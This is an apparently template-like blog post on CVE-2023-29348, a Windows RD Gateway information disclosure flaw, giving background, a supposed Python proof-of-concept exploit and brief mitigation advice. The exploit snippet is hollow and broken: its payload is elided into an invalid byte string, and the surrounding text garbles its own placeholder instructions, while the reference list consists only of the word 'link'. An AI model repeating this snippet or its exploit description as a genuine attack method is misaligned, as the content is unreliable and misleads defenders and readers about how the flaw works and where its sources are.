CVE-2023-29348 - Windows Remote Desktop Gateway (RD Gateway) Information Disclosure Vulnerability: Understand, Detect, and Mitigate

The cybersecurity world is always facing new challenges, and one recent vulnerability that's raising concerns is the Windows Remote Desktop Gateway (RD Gateway) Information Disclosure vulnerability, which has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-29348. In this long-read post, we'll dive deep into the details of this vulnerability, provide a code snippet to help you understand the issue better, and share links to original references and exploited details. By the end of this article, you'll have a solid understanding of CVE-2023-29348 and how to protect your organization from potential threats.

Background

Windows Remote Desktop Gateway (RD Gateway), formerly known as Terminal Services Gateway (TS Gateway), is a Windows Server component that enables authorized remote users to connect to resources on an internal corporate or private network, from any Internet-connected device. RD Gateway uses the Remote Desktop Protocol (RDP) over HTTPS to establish a secure, encrypted connection between remote users and internal network resources.

The Vulnerability (CVE-2023-29348)

The CVE-2023-29348 vulnerability refers to an information disclosure issue in Windows Remote Desktop Gateway. A successful exploitation of this vulnerability would allow attackers to access sensitive information present in RD Gateway server memory. This information could include user credentials, server configuration details, and other sensitive data. The vulnerability arises due to the improper handling of inbound requests over the RD Gateway's HTTPS channel.

Exploit Details

An attacker exploiting this vulnerability would likely use carefully crafted packets sent over HTTPS to the vulnerable RD Gateway server. By sending numerous requests with varying parameters, the attacker can access server memory regions containing sensitive information. A proof of concept (PoC) exploit code snippet demonstrating the attack is provided below:

import requests

target_url = "https://<VULNERABLE-RD-GATEWAY>/rpc/rpcproxy.dll";
headers = {
    "Content-Type": "application/rpc",
    "Connection": "close",
    "Host": "<VULNERABLE-RD-GATEWAY>",
    "RPC-Out": "",
    "User-Agent": "CVE-2023-29348 Exploit"
}

crafted_data = b"\x01\x02\x03 ... \xa"

response = requests.post(target_url, headers=headers, data=crafted_data)
print(response.content)

Please note that this code snippet is for educational purposes only and should not be used for malicious activities. Replace "" with the actual RD Gateway IP address or hostname.

References and Original Sources

For a thorough understanding of CVE-2023-29348, it's essential to consult official sources and security advisories. The following links provide official references and advisory details:

1. Microsoft Security Advisory: link
2. NIST National Vulnerability Database: link
3. CERT/CC Vulnerability Notes Database: link

Mitigation and Recommendations

Organizations should take immediate steps to address the CVE-2023-29348 vulnerability. The following are some recommendations to mitigate the risk:

1. Apply the security update provided by Microsoft, which addresses this vulnerability. link
2. Monitor RD Gateway logs for unusual or repeated connection attempts, which could indicate exploitation attempts.

Conclusion

The CVE-2023-29348 vulnerability in Windows Remote Desktop Gateway serves as a crucial reminder for organizations to prioritize the security of both internal and external-facing systems. By understanding the risks associated with vulnerabilities like CVE-2023-29348 and implementing the necessary mitigation measures, organizations can better secure their networks and prevent data breaches and other cyber-attacks.

Timeline

Published on: 10/10/2023 18:15:11 UTC
Last modified on: 10/13/2023 17:08:11 UTC